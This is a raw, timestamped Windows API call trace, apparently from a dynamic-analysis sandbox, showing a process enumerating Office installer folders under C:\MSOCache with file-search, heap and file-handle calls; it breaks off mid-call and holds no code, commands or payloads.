FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="")) returned 1 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86408 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9af38 [0040.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.449] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86428 [0040.450] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9b040 [0040.450] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.450] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.450] GetLastError () returned 0x12 [0040.450] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0a0 [0040.450] FindClose (in: hFindFile=0x60d0e0 | out: hFindFile=0x60d0e0) returned 1 [0040.450] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.450] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0040.450] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="")) returned 1 [0040.450] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="")) returned 1 [0040.450] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.450] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.450] GetLastError () returned 0x12 [0040.450] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83b80) returned 1 [0040.450] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0040.451] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83c88) returned 1 [0040.451] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0040.451] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.451] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.451] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.451] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0040.451] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0040.451] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0040.451] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0040.451] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0040.451] NtClose (Handle=0x180) returned 0x0 [0040.452] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0040.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0040.452] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83c88 [0040.452] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0a0 [0040.452] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.452] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.452] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.452] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83b80 [0040.452] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0040.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86448 [0040.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9b148 [0040.452] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.452] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0040.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.452] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.452] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf896a8 [0040.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9b250 [0040.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x180) returned 0xf86470 [0040.452] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf85990) returned 1 [0040.452] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.452] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0040.453] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.453] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.453] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.453] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.453] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.453] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf896c8 [0040.453] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9b358 [0040.453] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.453] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0040.453] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.453] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.453] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.453] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.453] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.453] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf896e8 [0040.453] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9b460 [0040.453] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.453] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0040.453] GetLastError () returned 0x12 [0040.453] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0e0 [0040.453] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0040.453] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.453] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.453] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0040.453] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0040.453] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0040.453] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0040.453] GetLastError () returned 0x12 [0040.453] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83c88) returned 1 [0040.453] FindClose (in: hFindFile=0x60d0e0 | out: hFindFile=0x60d0e0) returned 1 [0040.453] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83b80) returned 1 [0040.454] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0040.454] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.454] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.454] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.454] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0040.455] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0040.455] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89e90 [0040.455] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89e90, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf89e90, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0040.455] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89e90) returned 1 [0040.455] NtClose (Handle=0x188) returned 0x0 [0040.455] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.455] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.455] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0040.455] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0040.455] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.455] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83b80 [0040.455] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0e0 [0040.877] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.879] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="")) returned 1 [0040.879] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.879] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.879] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.880] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.880] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, 